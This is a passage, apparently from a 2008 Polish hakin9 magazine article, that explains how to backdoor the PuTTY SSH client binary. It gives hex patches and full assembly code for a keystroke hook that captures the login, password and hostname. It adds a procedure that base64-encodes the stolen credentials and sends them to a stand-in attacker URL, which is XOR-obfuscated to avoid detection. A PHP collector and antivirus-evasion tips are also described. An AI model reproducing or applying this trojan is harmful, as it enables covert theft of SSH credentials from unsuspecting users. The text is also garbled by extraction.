Rysunek 4.

Sekcje wewnątrz pliku putty.exe

background image

Backdoory w kodzie binarnym

hakin9 Nr 2/2008

www.hakin9.org

21

hasło/hostname). Jednak zanim
przejdziemy do pisania naszego
sniffera haseł, musimy znaleźć tro-
chę miejsca na nasz kod wewnątrz
pliku putty.exe.

Nie możemy po prostu dodać baj-

tów naszego kodu pod dowolnym
miejscem w pliku, zwiększając je-
go objętość – ze względu na to, że
plik PE stanowi spójną strukturę da-
nych i taka operacja z pewnością by
ją zniszczyła (część danych znalazła
by się pod innymi adresami, w konse-
kwencji wskaźniki wskazywałyby złe
miejsca w pliku). Moglibyśmy spróbo-
wać dodać nasz kod na koniec pli-
ku putty.exe (jak to robią wirusy),
jednak rozmiar pliku uległby zwięk-
szeniu, przez co nasza modyfikacja
stałaby się łatwo wykrywalna przez
programy antywirusowe.

Każda sekcja wewnątrz pliku mu-

si zaczynać się pod adresem, któ-
ry jest wielokrotnością tej wartości.
Bardzo rzadko zdarza się, że sekcje
wewnątrz pliku kończą się dokład-
nie na granicy tych wyrównań. Dlate-
go istnieje duża szansa, że znajdzie-
my sporo wolnej przestrzeni pomię-
dzy poszczególnymi sekcjami w pliku.
Użyjemy edytora heksadecymalnego
Hiew, aby sprawdzić, czy znajdziemy
wystarczającą ilość wolnego miejsca
na końcu sekcji kodu (

code section

)

w pliku putty.exe.

Po otwarciu pliku w Hiew prze-

łączamy edytor w tryb heksade-
cymalny (F4), a następnie wciska-
my (F8) w celu podglądu nagłów-
ka PE. Znajdziemy tam informację,
która mówi nam, że wartość wyrów-
nania (

file alignment

) wynosi

0x1000

.

Oznacza to, że każda z sekcji za-
czyna się pod offsetem będącym
wielokrotnością liczby

0x1000

. Na-

stępnie przechodzimy do listy sekcji

pliku przez (F6). Jak widać na Ry-
sunku 4, w pliku putty.exe występu-
ją 4 różne sekcje.

Przyjrzyjmy się pierwszej sek-

cji, nazwanej .text, która zawie-
ra kod programu

PuTTY

(sekcja ko-

du). Sekcja ta zaczyna się pod adre-
sem

0x1000

pliku putty.exe. Widzimy,

że następna sekcja (

.rdata

) zaczyna

się pod adresem

0x50000

. Odejmu-

jąc adres początku pierwszej sekcji
od adresu drugiej sekcji, otrzymamy
fizyczny rozmiar sekcji

.text

w pli-

ku putty.exe – jest on równy

0x4F000

.

Zauważmy, że jedna z kolumn w ta-
beli sekcji na Rysunku 4 nazywa się

VirtSize

. Definiuje ona rozmiar wirtu-

alny, który w przypadku sekcji

.text

jest mniejszy od obliczonego przez
nas rozmiaru fizycznego, wynosi on
bowiem

0x4E4D1

. Wirtualny rozmiar

sekcji określa faktyczną ilość bajtów
zajmowaną w pamięci przez sekcje
kodu. Oznacza to, że część sekcji
kodu w pliku putty.exe jest niewyko-
rzystana i stanowi wyrównanie sek-
cji. Wielkość niewykorzystanego ob-
szaru możemy obliczyć odejmując
wirtualny rozmiar sekcji, od rozmiaru
fizycznego (na który składa się kod +
bajty wyrównania):

0x4F000 - 0x4E4D1

co daje 2863 nieużywane bajty, któ-
re możemy nadpisać naszym ko-
dem. Jest to ponad 2,5kB miejsca,
co w zupełności nam wystarczy.

Pozostaje jeszcze obliczyć, pod

jakim offsetem zaczyna się niewy-
korzystany obszar, a więc pod jakim
offsetem będzie położony początek
naszego kodu. Wystarczy dodać of-
fset, pod którym znajduje się począ-

tek sekcji

.text (0x1000)

do wirtual-

nego rozmiaru sekcji (

0x4E4D1

):

0x1000 + 0x4E4D1

co daje

0x4F4D1

. Pod tym offsetem

zaczyna się niewykorzystany obszar
sekcji

.text

i tu właśnie zamieścimy

kod naszego sniffera haseł.

Szukamy miejsca na dane

Oprócz miejsca na kod sniffera bę-
dziemy potrzebowali trochę prze-
strzeni na dynamicznie tworzone da-
ne – w tym globalne zmienne czy bu-
for, w którym zapiszemy przechwyco-
ne informacje (login/hasło/hostname).
Chociaż 2,5kB przestrzeni na końcu
sekcji

.text

wystarczyłoby zarówno

na nasz kod, jak i dane, to nie możemy
umieścić tam danych. Powodem jest
fakt, że sekcja

.text

posiada ustawio-

ny atrybut tylko do odczytu (readon-
ly
), a zatem po uruchomieniu progra-
mu PuTTY zapis danych w tej sekcji
nie będzie możliwy. Wprawdzie istnie-
je możliwość dodania do sekcji

.text

możliwości zapisu, jednak oprogramo-
wanie antywirusowe mogłoby wtedy
uznać nasz plik za podejrzany.

W celu zapisu danych utworzo-

nych dynamicznie możemy skorzy-
stać z kolejnej sekcji – sekcji danych
nazwanej

.data

, która to domyślnie

posiada możliwość zapisu. Mimo te-
go, że fizyczny rozmiar tej sekcji jest
równy

0x1000

, jej wirtualny rozmiar wy-

nosi

0x7064

. Oznacza to, że dodatko-

wa przestrzeń zostanie zaalokowana
w trakcie uruchomienia aplikacji. Ist-
nieje szansa, że po tej alokacji uda
się odnaleźć wolny obszar, który nie
jest wykorzystywany przez program
PuTTY (nadpisanie używanej części

Rysunek 5.

Przeglądanie sekcji

.data z pomocą IDA w poszukiwaniu
wolnego obszaru pamięci

Rysunek 6.

Wywołanie funkcji ToAsciiEx, które należy zastąpić własnym

background image

hakin9 Nr 2/2008

www.hakin9.org

Atak

22

pamięci programu PuTTY mogłoby
spowodować jego zawieszenie).

W odnalezieniu wolnej przestrze-

ni w sekcji

.data

pomoże nam narzę-

dzie IDA. Wystarczy załadować plik
putty.exe do programu IDA, następ-
nie przejść do zakładki Hex View,
w której musimy odnaleźć sekcję

.data

.

Przemieszczając się po sekcji danych
zauważymy, że część bajtów

0x470B00

aż do

0x471050

. Daje to ponad 1kB

przestrzeni na nasze dane, co w zu-
pełności spełnia nasze wymagania.

Piszemy kod

Po przeprowadzeniu naszej analizy
i zebraniu potrzebnych danych mo-
żemy przystąpić do modyfikacji pro-
gramu PuTTY.

API hooking

Zgodnie z wcześniejszymi ustale-
niami, chcemy przechwycić dane
wprowadzone przez użytkownika,
za pośrednictwem funkcji

ToAsciiEx

.

Wywołanie funkcji

ToAsciiEx

, do

którego trafiają klawisze wciśnięte
przez użytkownika, mieści się pod
adresem pamięci

0x43C854

(jak mo-

żemy odczytać z Listingu 1). Musimy
znaleźć sposób, który pozwoli prze-
chwycić wynik zwrócony przez tę
funkcję (którym jest kod ASCII wci-
śniętego klawisza), ale jednocześnie
nie zakłóci normalnego przebiegu
działania programu PuTTY.

Najprostszym rozwiązaniem te-

go problemu będzie zastąpienie wy-
wołania funkcji

ToAsciiEx

instrukcją

skoku, która przekaże kontrolę nad
programem PuTTY do naszego frag-

mentu kodu (sniffera haseł). W na-
szym kodzie sami wywołamy funk-
cję

ToAsciiEx

– otrzymując jej wynik.

Zadbamy również o to, by zapisać
wartości rejestrów procesora usta-
wione przez funkcję, co pozwoli na
późniejszy powrót do oryginalnego ko-
du (poprzez skok do kolejnej instruk-
cji, występującej po wywołaniu funk-
cji). Tym sposobem będziemy w stanie
przechwycić klawisze wciśnięte przez
użytkownika, nie zakłócając działania
programu PuTTY. Spróbujmy teraz za-
stosować ten pomysł w praktyce.

Otwieramy plik putty.exe z he-

xedytora Hiew, przełączamy edytor
w tryb disasemblera (decode mode)
i przechodzimy pod offset

0x3C854

,

pod którym to znajduje się wspo-
mniane wywołanie funkcji

ToAsciiEx

:

FF1520034500 call ToAsciiEx

Musimy zastąpić instrukcję wywoła-
nia instrukcją skoku. Aby wykonać

przejście do naszego kodu, możemy
posłużyć się następującą kombina-
cją instrukcji

push

i

ret

:

68D1F44400 push 00044F4D1
C3 ret

Adres

0x44F4D1

wskazuje na począ-

tek wolnego obszaru w sekcji

.text

,

ponieważ to właśnie tam zamieścimy
nasz kod. Instrukcja powrotu ret jest
tu odpowiedzialna za wykonanie bez-
względnego skoku pod podany ad-
res (absolute jump). Wykonuje ona po
prostu skok pod adres zamieszczony
na szczycie stosu. Ma ona identyczny
efekt co para instrukcji:

B8D1F44400 mov eax, 00044F4D1
FFE0 jmp eax

ale zajmuje o jeden bajt mniej. Dzię-
ki temu nie nadpiszemy niepotrzebnie
bajtów kolejnej instrukcji (a zatem nie
ma konieczności odtwarzania niczego
poza wywołaniem funkcji

ToAsciiEx

).

Po tej modyfikacji możemy zapisać
w pliku zmiany klawiszem (F9).

Prosty test

Teraz kiedy udało się nam zmodyfiko-
wać program PuTTY w taki sposób,
aby wykonywał instrukcje zawarte pod
adresem

0x4F4D1

za każdym razem,

gdy użytkownik wciśnie jakiś klawisz,
możemy napisać testowy fragment ko-
du, aby sprawdzić czy wszystko dzia-
ła poprawnie.

W hexedytorze Hiew przechodzi-

my pod offset

0x4F4D1

, gdzie znajduje

się wolna przestrzeń dla naszego ko-

Rysunek 7.

Prosty kod wyświetlający komunikat na ekranie

Rysunek 8.

Zmodyfikowana wersja PuTTY wyświetlająca przechwycone

dane

background image

Backdoory w kodzie binarnym

hakin9 Nr 2/2008

www.hakin9.org

23

du (jak na razie jest ona wypełniona
zerami). Pierwszą rzeczą, jaką mu-
simy uczynić, jest przywrócenie wy-
wołania funkcji

ToAsciiEx

które nad-

pisaliśmy:

FF1520034500 call ToAsciiEx

Następnie zachowujemy wszystkie
rejestry procesora instrukcją:

60 pushad

aby PuTTY mógł poprawnie kontynu-
ować działanie po powrocie z nasze-
go kodu. W tym momencie możemy
zacząć pisanie własnego kodu.

Niech nasz kod wyświetla jakiś

tekst przy użyciu funkcji

MessageBoxA

– tak, abyśmy od razu widzieli, że zo-
stał on uruchomiony. Zapisujemy ar-
gumenty dla funkcji

MessageBoxA

na

stosie:

6A00 push 000
6A00 push 000
68F8F44400 push 0044F4F8
6A00 push 000

Adres

0x44F4F8

wskazuje łańcuch

znaków, który chcemy wyświetlić.
Następnie wykonujemy samą funk-
cję

MessageBoxA

(jej adres możemy

łatwo ustalić przy pomocy OllyDbg
wyszukując wywołania tej funkcji):

FF15E4034500 call [04503E4]

Ostatnie trzy instrukcje konieczne do
prawidłowego działania to:

61 popad
685AC84300 push 00043C85A
C3 ret

Ich zadaniem jest przywrócenie
uprzednio zachowanych rejestrów
(intrukcja

popad

), oraz przekazanie

kontroli nad programem z powrotem
do oryginalnego kodu PuTTY (in-
strukcje

push + ret

).

Pozostaje umieścić dowolny ciąg

znaków pod offsetem

0x4F4F8

i może-

my zapisać zmiany w pliku wciskając
(F9). Od tej pory program PuTTY po-
winien wyświetlać zadany komuni-
kat (w przypadku kodu widocznego

na Rysunku 7. będzie to napis: HEL-
LO!
) na ekranie przy każdym naci-
śnięciu klawisza.

Przechwytywanie danych

Jeśli wszystko działa, możemy za-
brać się za pisanie bardziej zaawan-
sowanego kodu, który będzie prze-
chwytywał dane wprowadzone przez
użytkownika – to znaczy login, hasło
oraz nazwę hosta.

Listing 2. przedstawia przykła-

dową implementację sniffera haseł.
Prześledźmy szybko podany kod źró-
dłowy, aby zrozumieć, jak funkcjonu-
je. Na początku wywołana zostaje
funkcja

ToAsciiEx

, po czym następuje

sprawdzenie zwracanej przez nią war-
tości (która to znajduje się w rejestrze
EAX). Wartość zwrócona przez funk-
cję wskazuje, czy przekazany do niej
kod klawisza został pomyślnie przetłu-
maczony na kod ASCII. Jeśli zwróco-
na wartość jest równa 1, oznacza to,
że jeden znak został pomyślnie prze-
tłumaczony i umieszczony w buforze
(adres tego bufora został przekaza-
ny do funkcji jako parametr pTransla-
ted i – jak można zauważyć na Ry-
sunku 6 – ma on wartość: EBP+C).
W tym przypadku następuje skopio-
wanie znaku ASCII wciśniętego kla-
wisza z bufora (czyli spod adresu EB-
P+C) do zmiennej

created _ string

,

która zawiera dwa znaki:

l=

, czyli pre-

fiks oznaczający login. Tym samym

uzyskujemy pierwszą literę nazwy
użytkownika.

Proces ten powtarza się, kopiu-

jąc kolejno wprowadzane znaki loginu
na koniec ciągu znaków

created _

string

, aż do momentu gdy użytkow-

nik wciśnie klawisz (backspace) lub
(enter). W takim przypadku, wartość
zwracana przez funkcję ToAsciiEx
jest równa 0 (co oznacza, że ża-
den klawisz nie został przetłumaczo-
ny na kod ASCII). Powoduje to skok
do etykiety

special _ key

– gdzie znaj-

duje się kod odpowiedzialny za usta-
lenie, który z dwóch wspomnianych
klawiszy został wciśnięty. Rozróżnie-
nie obu klawiszy jest możliwe za spra-
wą bajtu znajdującego się pod adre-
sem EBP+8 (znajduje się tam wirtual-
ny kod klawisza, przekazany jako pa-
rametr

Key

do funkcji

ToAsciiEx

– co

widać na Rysunku 6).

Jeśli wciśnięty klawisz to (back-

space) (wspomniany bajt ma war-
tość

0x08

), następuje skasowanie

jednego znaku z łańcucha znaków

created _ string

.

Jeśli wciśnięto klawisz (enter)

(bajt równy

0x0D

), oznacza to, że użyt-

kownik skończył wpisywać swój login.
Dlatego na koniec łańcucha znaków

created _ string

dopisywany jest ko-

lejny prefiks:

&p=

– w celu odróżnie-

nia loginu od hasła, które to użytkow-
nik będzie teraz wprowadzał. Kolejne
litery hasła kopiowane są na koniec

Listing 1.

Funkcje użyte w programie PuTTY do odczytu znaków z

klawiatury

0043F03E

CALL

to DispatchMessageA

pMsg = WM_KEYDOWN hw =

1D03E0

(

"some-remote-host.com - PuTTY"

)

Key =

46

(

'F'

)

KeyData =

210001

00441519

CALL

to GetTickCount

00441533

CALL

to QueryPerformanceCounter

pPerformanceCount =

0012CCEC

0043BD67

CALL

to GetKeyboardLayout

ThreadID =

0

0043BD77

CALL

to GetKeyboardState

pState =

0012CBD4

0043BE0B

CALL

to SetKeyboardState

pKeyState =

0012CBD4

0043C854

CALL

to ToAsciiEx

Key =

46

(

'F'

)

ScanCode =

21

pKeyState =

0012CBD4

pTranslated =

0012CD00

MenuActive =

0

hKblayout =

04150415

background image

hakin9 Nr 2/2008

www.hakin9.org

Atak

24

Listing 2.

PuTTY password sniffer – puttysnf.asm

;

puttysnf

.

asm

PuTTY

password

sniffer

.

386

code

segment

assume

cs

:

code

,

ds

:

code

org

100

h

;

counter

of

how

many

times

ENTER

has

been

hit

:

enter_counter

equ

470

B00h

;

counter

of

characters

in

login

/

password

:

char_counter

equ

470

B08h

;

variable

containing

the

length

of

created_

string

:

str_length

equ

470

B04h

;

string

for

login

/

password

/

hostname

:

created_string

equ

470

B10h

start

:

;

call

ToAsciiEx

call

ds

:[

450320

h

]

pushad

mov

edi

,

created_string

mov

ecx

,

ds

:[

str_length

]

add

edi

,

ecx

;

finish

,

if

str_length

==

0xFF

cmp

cl

, 0

FFh

je

return_to_host

;

checks

if

ENTER

or

BACKSPACE

was

hit

test

al

,

al

je

special_key

test

cl

,

cl

jne

no_prefix_1

;

adds

a

prefix

'

l

=

'

before

a

login

mov

word

ptr

[

edi

]

, 3

D6Ch

mov

byte

ptr

ds

:[

str_length

]

,

2

add

edi

,

2

no_prefix_1

:

;

finish

,

if

login

/

pass

has

more

than

30

chars

cmp

dword

ptr

ds

:[

char_counter

]

, 1

Eh

jg

return_to_host

;

saves

an

ascii

returned

by

ToAsciiEx

in

created_

string

mov

al

,

byte

ptr

ss

:[

ebp

+

0

Ch

]

mov

byte

ptr

ds

:[

edi

]

,

al

inc

dword

ptr

ds

:[

str_length

]

inc

dword

ptr

ds

:[

char_counter

]

special_key

:

mov

al

,

byte

ptr

ss

:[

ebp

+

8

]

;

checks

if

the

key

is

a

BACKSPACE

cmp

al

, 08

h

je

backspace_hit

;

checks

if

it

is

an

ENTER

cmp

al

, 0

Dh

jne

return_to_host

;

checks

if

a

user

has

finished

typing

login

inc

byte

ptr

ds

:[

enter_counter

]

cmp

byte

ptr

ds

:[

enter_counter

]

,

1

jne

no_prefix_2

;

adds

a

prefix

'

&

p

=

'

before

a

password

mov

dword

ptr

ds

:[

char_counter

]

,

0

mov

ds

:[

edi

]

, 3

D7026h

add

byte

ptr

ds

:[

str_length

]

,

3

no_prefix_2

:

;

checks

if

password

has

been

entered

cmp

byte

ptr

ds

:[

enter_counter

]

,

2

jne

return_to_host

;

adds

prefix

'

&

h

=

'

before

a

hostname

mov

[

edi

]

, 003

D6826h

add

dword

ptr

ds

:[

str_length

]

,

3

add

edi

,

3

;

ESI

=

the

address

where

a

hostname

is

stored

mov

esi

, 46

D680h

cld

copy

:

;

copies

a

hostname

at

the

end

of

the

created_

string

lodsb

stosb

test

al

,

al

je

show_message

inc

byte

ptr

ds

:[

str_length

]

jmp

copy

show_message

:

;

invokes

MessageBoxA

to

display

the

string

push

0

push

0

push

created_string

push

0

call

dword

ptr

ds

:[

4503

E4h

]

;

writes

0xFF

to

finish

intercepting

keys

mov

dword

ptr

ds

:[

str_length

]

, 0

FFh

jmp

return_to_host

backspace_hit

:

cmp

byte

ptr

ds

:[

char_counter

]

,

0

je

return_to_host

;

writes

zero

to

delete

the

last

char

dec

edi

mov

byte

ptr

[

edi

]

,

0

dec

dword

ptr

ds

:[

char_counter

]

dec

dword

ptr

ds

:[

str_length

]

return_to_host

:

;

passes

the

control

back

to

the

PuTTY

'

s

code

popad

push

43

C85Ah

ret

code

ends

end

start

background image

Backdoory w kodzie binarnym

hakin9 Nr 2/2008

www.hakin9.org

25

ciągu

created _ string

, aż do momen-

tu gdy [enter] zostanie wciśnięty po
raz drugi.

created _ string

dodany zostaje

ostatni prefiks:

&h=

, aby możliwe by-

ło odróżnienie hasła od nazwy ho-

sta. Nazwa hosta jest doklejana na
samym końcu łańcucha znaków (po
skopiowaniu spod adresu

0x46D680

).

Na tym etapie ciąg znaków

created _ string

prezentuje się nastę-

pująco:

l=login&p=password&h=hostname.

Ciąg zostaje wyświetlony na ekranie
przy pomocy funkcji

MessageBoxA

.

Aby zapobiec ponownemu wy-

konywaniu kodu przy wciśnię-
ciu kolejnych klawiszy, w zmiennej

str _ length

zostaje zapisana war-

Listing 3.

Procedure for puttysnf.asm to send sniffed data over HTTP

;

send_data

Send

Data

Procedure

;

address

where

our

code

starts

in

memory

:

base_address

equ

44

F4D1h

– 100

h

;

var

.

containing

size

of

a

buffer

for

base64

code

:

buffer_size

equ

470

B0Ch

;

address

in

memory

where

the

URL

will

be

stored

:

URL

equ

470

BD8h

send_data

:

push

ebp

mov

ebp

,

esp

cld

mov

esi

,

(

base_address

+

offset

str1

)

mov

edi

,

URL

copy_str

:

;

copy

the

declared

URL

(

pointing

to

putty

.

php

)

into

memory

lodsb

test

al

,

al

jz

encode_str

xor

al

, 7

Fh

stosb

jmp

copy_str

encode_str

:

;

LoadLibraryA

(

"crypt32"

)

push

(

base_address

+

offset

str2

)

call

ds

:[

450250

h

]

mov

ebx

,

eax

;

LoadLibraryA

(

"wininet"

)

push

(

base_address

+

offset

str3

)

call

ds

:[

450250

h

]

mov

esi

,

eax

;

GetProcAddress

(

crypt32_hnd

,

"CryptBinaryToStringA"

);

push

(

base_address

+

offset

str4

)

push

ebx

call

ds

:[

450284

h

]

test

eax

,

eax

jz

return

mov

edi

,

eax

;

CryptBinaryToStringA

(

created_string

,

str_length

,

;

BASE64

,

URL

+

str1_length

-

1

,

buffer_size

)

mov

eax

,

buffer_size

mov

dword

ptr

ds

:[

eax

]

, 190

h

push

eax

push

(

URL

+

str1_length

1

)

push

1

push

dword

ptr

ds

:[

str_length

]

push

created_string

call

edi

;

GetProcAddress

(

wininet_hnd

,

"InternetOpenA"

)

push

(

base_address

+

offset

str5

)

push

esi

call

ds

:[

450284

h

]

test

eax

,

eax

jz

return

;

InternetOpenA

(

0

,

0

,

0

,

0

,

0

)

push

0

push

0

push

0

push

0

push

0

call

eax

;

EDI

=

internet_hnd

mov

edi

,

eax

;

GetProcAddress

(

wininet_hnd

,

"InternetOpenUrlA"

)

push

(

base_address

+

offset

str6

)

push

esi

call

ds

:[

450284

h

]

test

eax

,

eax

jz

return

;

InternetOpenUrlA

(

internet_hnd

,

URL

,

0

,

0

,

0

,

0

)

push

0

push

0

push

0

push

0

push

URL

push

edi

call

eax

return

:

leave

ret

str1

db

'

http

:

//

attacker

-

shell

.

com

/

putty

.

php

?

data

=

',

0

str1_length

equ

$

-

str1

str2

db

'

crypt32

',

0

str3

db

'

wininet

',

0

str4

db

'

CryptBinaryToStringA

',

0

str5

db

'

InternetOpenA

',

0

str6

db

'

InternetOpenUrlA

',

0

background image

hakin9 Nr 2/2008

www.hakin9.org

Atak

26

tość

0xFF

, co gwarantuje zaprzesta-

nie ponownego wykonywania się ko-
du (za sprawą instrukcji porównania

cmp cl

,

0FFh

na początku kodu). War-

to zauważyć, że (zgodnie z naszym
planem) wszelkie zmienne przecho-
wywane są w sekcji

.data

, poczyna-

jąc od adresu

0x470B00

.

Kod sniffera został napisany

z myślą o kompilatorze TASM. Mu-
si on zostać skompilowany jako plik

COM. W tym celu wydajemy nastę-
pujące komendy:

tasm /x puttysnf.asm
tlink /x /3 /t puttysnf.obj

W wyniku otrzymamy plik putty-
snf.com
, który zawiera czysty kod,
bez żadnych nagłówków – dzię-
ki czemu jego zawartość może zo-
stać wstawiona bezpośrednio do pli-

ku putty.exe pod adres

0x4F4D1

(nad-

pisując nasz testowy kod).

Do wstawienia pliku możemy użyć

programu Hiew. Przechodzimy pod
offset

0x4F4D1

, zaznaczamy odpo-

wiednio duży blok klawiszem (*) (kla-
wisz musimy wcisnąć dwukrotnie w
celu zaznaczenia początku oraz koń-
ca bloku), wciskamy (CTRL-F2) aby
wywołać funkcję

GetBlk

, która pozwa-

la określić plik do wstawienia. Wska-
zujemy ścieżkę do pliku puttysnf.com i
zatwierdzamy klawiszem (enter).

Po zapisaniu zmian klawiszem

(F9) PuTTY powinien wyświe-
tlić komunikat zawierający łańcuch

created _ string

zaraz po podaniu

hasła. Okienko to możemy zobaczyć
na Rysunku 8.

Przesyłamy dane na serwer

Potrafimy już przechwycić dane
wprowadzane przez użytkownika
oraz wyświetlić je na ekranie. Na-
szym ostatecznym celem jest jed-
nak przesłanie uzyskanych danych
na wybrany przez nas serwer – tak,
aby cały proces stał się niewidoczny
dla użytkownika.

Do przesłania danych na serwer

będzie potrzebny kanał komunika-
cyjny. Moglibyśmy wysłać dane jako
wiadomość e-mail stosując protokół
SMTP, jednak obsługa tego typu ko-
munikacji wymagałaby sporego na-
kładu kodu asemblera i byłaby dość
pracochłonna.

Najprostszym sposobem prze-

słania danych na serwer jest uży-
cie protokołu HTTP – z tego wzglę-
du, iż system Windows oferuje
spory zestaw gotowych do użycia
funkcji przeznaczonych do obsłu-
gi tego protokołu. Wykorzystując
transmisję HTTP jesteśmy w stanie
przesłać przechwycone dane jako
parametr do skryptu PHP umiesz-
czonego na odległym serwerze.
Implementacja tego rozwiązania
sprowadza się do utworzenia ad-
resu URL (adres do skryptu + pa-
rametr zawierający przechwycone
dane) oraz do jego otwarcia przy
użyciu odpowiedniej funkcji Win-
dows obsługującej HTTP.

Kod przykładowej procedury

korzystającej z HTTP do przesła-

Rysunek 9.

Pomyślnie przechwycone dane pojawiają się w pliku pass.log

na koncie atakującego

Listing 4.

Nagłówki użytych funkcji

HINTERNET

InternetOpen

(

__in

LPCTSTR

lpszAgent

,

__in

DWORD

dwAccessType

,

__in

LPCTSTR

lpszProxyName

,

__in

LPCTSTR

lpszProxyBypass

,

__in

DWORD

dwFlags

HINTERNET

InternetOpenUrl

(

__in

HINTERNET

hInternet

,

__in

LPCTSTR

lpszUrl

,

__in

LPCTSTR

lpszHeaders

,

__in

DWORD

dwHeadersLength

,

__in

DWORD

dwFlags

,

__in

DWORD_PTR

dwContext

);

BOOL

WINAPI

CryptBinaryToString

(

__in

const

BYTE

*

pbBinary

,

__in

DWORD

cbBinary

,

__in

DWORD

dwFlags

,

__in

LPTSTR

pszString

,

__in_out

DWORD

*

pcchString

);

background image

Backdoory w kodzie binarnym

hakin9 Nr 2/2008

www.hakin9.org

27

nia danych na wejście skryptu PHP
został przedstawiony na Listingu 3.
Prześledźmy jej działanie. Proce-
dura zaczyna się od pętli kopiującej
adres URL (prowadzący do skryp-
tu PHP) do sekcji .data, aby moż-
liwe stało się dopisanie parametru
(

data=

) zawierającego przechwy-

cone dane. Kolejnym etapem jest
załadowanie odpowiednich biblio-
tek potrzebnych do otwarcia adre-
su URL.

Załadowane zostają dwie biblio-

teki: crypt32.dll oraz wininet.dll. Za-
ładowanie ich jest konieczne, po-
nieważ biblioteki te nie są wyko-
rzystywane przez program PuTTY.
Pierwsza biblioteka zawiera funk-
cję

CryptBinaryToStringA

, natomiast

druga – funkcje potrzebne do wysła-
nia zapytania HTTP (otwarcia adre-
su URL).

Funkcja

CryptBinaryToStringA

została wykorzystana w kodzie pro-
cedury do konwersji przechwyco-
nych danych (przechowywanych
w łańcuchu

created _ string

) na kod

Base64. Kod

Base64

gwarantuje po-

prawne przesłanie danych nawet
w przypadku, gdy użytkownik wpro-
wadzi znaki zakazane w adresach
URL. Dodatkowo kod Base64 spra-
wi, że zapytania HTTP staną się
mniej podejrzane dla osób przeglą-
dających logi serwera HTTP.

Na tym etapie wykonywania pro-

cedury adres URL w pamięci ma
następujący format: http://attacker-
shell.com/putty.php?data=[base64_
code]
.Ostatnią czynnością jest wy-
wołanie funkcji:

InternetOpenA

oraz

InternetOpenUrlA

, które to odpowie-

dzialne są za nawiązanie połącze-
nia HTTP i przekazanie danych (za-
kodowanych w Base64) do wskaza-
nego skryptu PHP.

Warto tu zauważyć, że proce-

dura każdorazowo sprawdza kod
powrotu funkcji

GetProcAddress

. Ta-

ki test zapobiegnie zawieszeniu się
programu PuTTY w momencie, gdy
jedna z ładowanych funkcji okaże
się być niedostępna w danym sys-
temie. Może się tak zdarzyć w przy-
padku funkcji

CryptBinaryToStringA

,

która to – choć bardzo wygod-
na – sprawia, że kod staje się ma-

ło przenośny (jest dostępna dopie-
ro w systemach Windows XP, oraz
Windows Vista). Dlatego, jeśli prze-
nośność kodu jest dla nas najważ-
niejsza, powinniśmy rozważyć napi-
sanie własnej funkcji konwertującej
dane na kod Base64.

Kod procedury należy wstawić

do głównego kodu naszego snif-
fera, tzn. do pliku puttysnf.asm
(np. na końcu pliku, zaraz nad linij-
ką zawierającą napis: code ends).
Przed zapisaniem zmian w pliku
musimy również usunąć wywołanie
funkcji

MessageBoxA

(wraz ze wszyst-

kimi parametrami zapisywanymi
na stosie instrukcją

push

), aby zapo-

biec dalszemu wyświetlaniu komu-
nikatu z danymi na ekranie. W miej-
scu wywołania

MessageBoxA

wsta-

wiamy instrukcję:

call send_data

która to wywoła procedurę wysyła-
jącą dane na serwer.

Tak powstały kod

puttysnf.asm

kompilujemy w identyczny spo-
sób, jak poprzednio. Musimy jed-
nak poddać drobnej edycji otrzy-
many plik COM przed wsta-
wieniem go do pliku putty.exe.
Procedura

send _ data

wykonu-

je jeszcze jedną operację, która
nie została jeszcze wspomniana.
W pętli

copy _ str

znajduje się in-

strukcja

xor

(exclusive or). Każ-

dy znak adresu URL przed skopio-
waniem do pamięci jest XORowa-
ny wartością

0x7F

. Spowoduje to, że

podany przez nas adres URL (za-
deklarowany w zmiennej

str1

) po

zakodowaniu operacją XOR będzie
kompletnie nieczytelny dla funkcji

InternetOpenUrlA

. W konsekwen-

cji – przechwycone dane nie zo-
staną przesłane do skryptu PHP.
Rozwiązanie tego problemu jest
proste. Operacja

XOR

jest komplet-

nie odwracalna, dlatego wystarczy,
że zakodujemy nasz URL operacją

XOR

z takim samym kluczem (to jest

0x7F

). Ponowne użycie operacji

XOR

przez funkcję

send _ data

da w wy-

niku niezakodowany adres URL.

Dzięki temu zabiegowi podany

przez nas adres URL będzie nie-

widoczny dla osoby postronnej, gdy
ta zdecyduje się podejrzeć plik put-
ty.exe
przy pomocy edytora szes-
nastkowego.

Edytor Hiew pomoże nam zXO-

Rować bajty adresu URL. Wystar-
czy wczytać plik COM do edyto-
ra, przejść na widok szesnastko-
wy oraz wcisnąć klawisz (F3) w ce-
lu rozpoczęcia edycji. Następnie
na końcu pliku odszukujemy adres
URL, po czym wciskamy (F8) aby
wywołać funkcję XOR na każdym
ze znaków adresu (pomijając ostat-
ni bajt

NULL

, który to kończy string

i musi pozostać niezakodowany).
Jako klucz (

xor mask

) podajemy war-

tość

0x7F

. Po zapisaniu zmian klawi-

szem (F2), wstawiamy tak przygo-
towany plik COM do pliku putty.exe
pod offsetem:

0x4F4D1

.

Skrypt PHP

Pozostaje nam utworzenie skryptu
PHP, który będzie współpracował
z naszym snifferem, odbierając
przechwycone informacje. Skrypt
ten musi wykonać trzy czynności:

odczytać dane przesłane metodą

GET

na jego wejście jako parametr

o nazwie data,

skonwertować kod

Base64

(któ-

rym zakodowane są dane) na
czysty tekst,

zapisać zdekodowane informa-

cje (login/hasło/hostname) w pli-
ku na serwerze.

Listing 4. przedstawia przykład
skryptu realizującego wymienione
zadania. Skrypt, oprócz przechwy-
conych danych, rejestruje w pliku
datę oraz czas nadejścia zapytania.
Rejestrowany jest również adres IP
komputera, na którym uruchomiony
został program PuTTY zawierający
naszego sniffera. Skrypt

putty.php

do poprawnego działania wymaga
obecności pliku pass.log w swoim
katalogu. Plik ten musi mieć nada-
ne uprawnienia zapisu dla demo-
na WWW (wydanie komendy

chmod

o+w pass.log

powinno wystarczyć),

w przeciwnym wypadku rejestracja
otrzymanych danych w pliku nie bę-
dzie możliwa.

background image

hakin9 Nr 2/2008

www.hakin9.org

Atak

28

Posiadając skrypt putty.php na

serwerze, możemy już uruchomić
zmodyfikowaną przez nas wersję
programu PuTTY, próbując zalogo-
wać się poprzez SSH na posiada-
ne przez nas konto. Jeśli nasz sniffer
działa poprawnie, w pliku putty.log
powinny pojawić się wpisane przez
nas podczas

Podsumowanie

Artykuł pokazuje, że modyfikacja
aplikacji bez dostępu do jej kodu źró-
dłowego jest jak najbardziej możli-
wa. Udało się nam odnaleźć miej-
sce, w którym program PuTTY prze-
chowywał wprowadzone znaki oraz
dopisać kod sniffera, przechwytują-
cego wrażliwe informacje. To jednak
nie wszystko – moglibyśmy posunąć
się o krok dalej i zmodyfikować pro-
gram PuTTY tak, aby nie tylko prze-
chwytywał hasła wpisane w momen-
